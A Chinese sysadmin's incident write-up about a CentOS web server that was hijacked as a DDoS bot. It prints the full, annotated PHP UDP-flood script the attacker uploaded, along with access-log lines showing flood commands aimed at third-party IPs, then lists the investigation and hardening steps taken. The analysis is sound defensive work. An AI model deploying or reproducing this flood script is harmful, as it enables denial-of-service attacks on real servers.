这篇文章主要介绍了记一次 Centos 服务器被挂马的抓马经历分享,非常不错,具有参考借鉴价值,需要的朋友参考下
CentOS(Community Enterprise Operating System,中文意思是:社区企业操作系统)是 Linux 发行版之一,它是来自于 Red Hat Enterprise Linux 依照开放源代码规定释出的源代码所编译而成。
今天早上五点,收到监控宝的警告短信,说是网站 M 无法访问了。睡的正香,再说网站所在系统是 centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。
早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。Centos 服务器被挂马的一次抓马经历。
我赶紧赶了过去,查看了一下那里网络,发现 175 服务总是以 50M/S 速度向外发包,而 175 服务器正是网站 M 所在的服务器。
果断 SSH 连接 175 服务器,发现 175 服务器连接也很慢,连上之后 top 一下,查看 cpu 负载:
top
发现有两个 apache 进程占用 cpu 一直在 40% 以上,马上停止 httpd 服务
- service httpd stop
停止 httpd 服务之后,再看网络状态,175 服务器也不向外发包了,一切正常。
由此判断应该是 175 服务器挂了马,疯狂向外发包,挤占了全部机房带宽。
下一步就是抓马了!
175 服务器是有硬件防火墙,只开 http80 跟 ssh22 端口,ssh 不太可能被盗号,应该是通过 web 漏洞挂马。早上 5 点才中招的,木马程序文件应该在 1 天之内。
切到 M 站点根目录之下,查找最近一天内变动的文件,执行
- find ./ -mtime -1
果然,一个名为 phzLtoxn.php 的可疑文件出现在目录列表中。查看一下木马程序的创建者,执行
- ls -l phzLtoxn.php
这里发现文件就没了,难道这文件还会自我销毁?Centos 服务器被挂马的一次抓马经历
原来发生了一个小插曲,隔壁的管理员小黄也注意到这个文件,二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道删删删删!难道木马程序不会再生成啊?你得顺藤摸瓜,不是一刀切。你得找到漏洞源头!删了没办法,再把 httpd 服务开启了,引狼入室,等等看能否再生成。
果然,半小时不到,新的 phzLtoxn.PHP 文件又生成了。查看了一下,文件创建者是 apache, 由此判断这肯定是通过网站漏洞上传的。
分析一下木马文件,看下黑客意图
这里贴出 phzLtoxn.php 文件源代码,并作了简单注释,仅作学习之用。
- <?php
- //设置脚本运行时间
- set_time_limit(999999);
- //攻击目标服务器ip
- $host = $_GET['host'];
- //攻击目标服务器端口
- $port = $_GET['port'];
- //攻击时长
- $exec_time = $_GET['time'];
- //每次发送字节数
- $Sendlen = 65535;
- $packets = 0;
- //设置客户机断开不终止脚本的执行
- ignore_user_abort(TRUE);
- //step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
- if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
- if (StrLen($_GET['rat']) <> 0) {
- echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];
- exit;
- }
- echo "Warning to: opening";
- exit;
- }
- //step2. 设定发字符串$out,这里是"AAAAAAAAAA..."
- for ($i = 0; $i < $Sendlen; $i++) {
- $out .= "A";
- }
- $max_time = time() + $exec_time;
- //step3. 进行攻击,使用udp向目标服务器狠狠发串串
- while (1) {
- $packets++;
- if (time() > $max_time) {
- break;
- }
- $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
- if ($fp) {
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- //step4. 攻击统计
- echo "Send Host $host:$port<br><br>";
- echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
- echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
- ?>
从以上代码可以看出,是个典型的 ddos 攻击代码。黑客应该是把我们服务器当傀儡使用,组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器,敲入 {aa3aa} 站域名. com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx 就可以对目标服务器进行 ddos 攻击了。
查看 httpd 日志,分析下攻击 ip 源,执行
- tail /var/log/httpd/access.log | grep phzLtonxn.php
- 183.12.75.240 - - [10/Aug/2012:10:38:46 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:56 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:58 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:08 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:12 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:28 +0800] "GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
发现源 ip 来自多个,目标服务器 ip 也有多个,都属于很多国家,有点奇怪啊,为什么黑客有针对性的攻击呢,无聊的黑客啊。
下一步,找漏洞!
1、重新审视了 M 站目录下文件权限。仅对几个必要的缓存、静态化的目录为 apache 开启了写权限,防止 phzLtoxn.php 文件再次生成。
2、重新开启 httpd 服务,使用 360 网站检测 {aa2aa} 对 H 站进行漏洞检测,发现 H 站中有严重的远程执行漏洞,于是赶紧打了补丁。
3、补丁打好之后,顺便修改了系统用户、数据库用户、ftp 用户的密码、M 站系统用户密码。
观察几日之后,一切正常。
小结一下几个安全原则
1、权限最小化。
web 目录一定做好权限,仅仅对 apache 开几个必要文件夹的写权限。
2、时刻注意补丁更新。
经常使用第三方的网站安全检测工具,如 {aa1aa},也可参考十大安全评估工具,如果网站系统使用了第三方常用程序,多注意一下乌云漏洞平台的信息 {aa0aa}。
3、中招后一定要补牢。
别光删删删删,要查找中招源头,分析黑客目的。
这是还是请大牛小牛们分析一下,为什么这帮黑客用那么多的肉鸡来 ddos 攻击不同的服务器,而这些被 ddos 攻击的服务器之间却没有什么联系。为什么攻击没有针对性?难道是为了耗带宽玩?!
来源: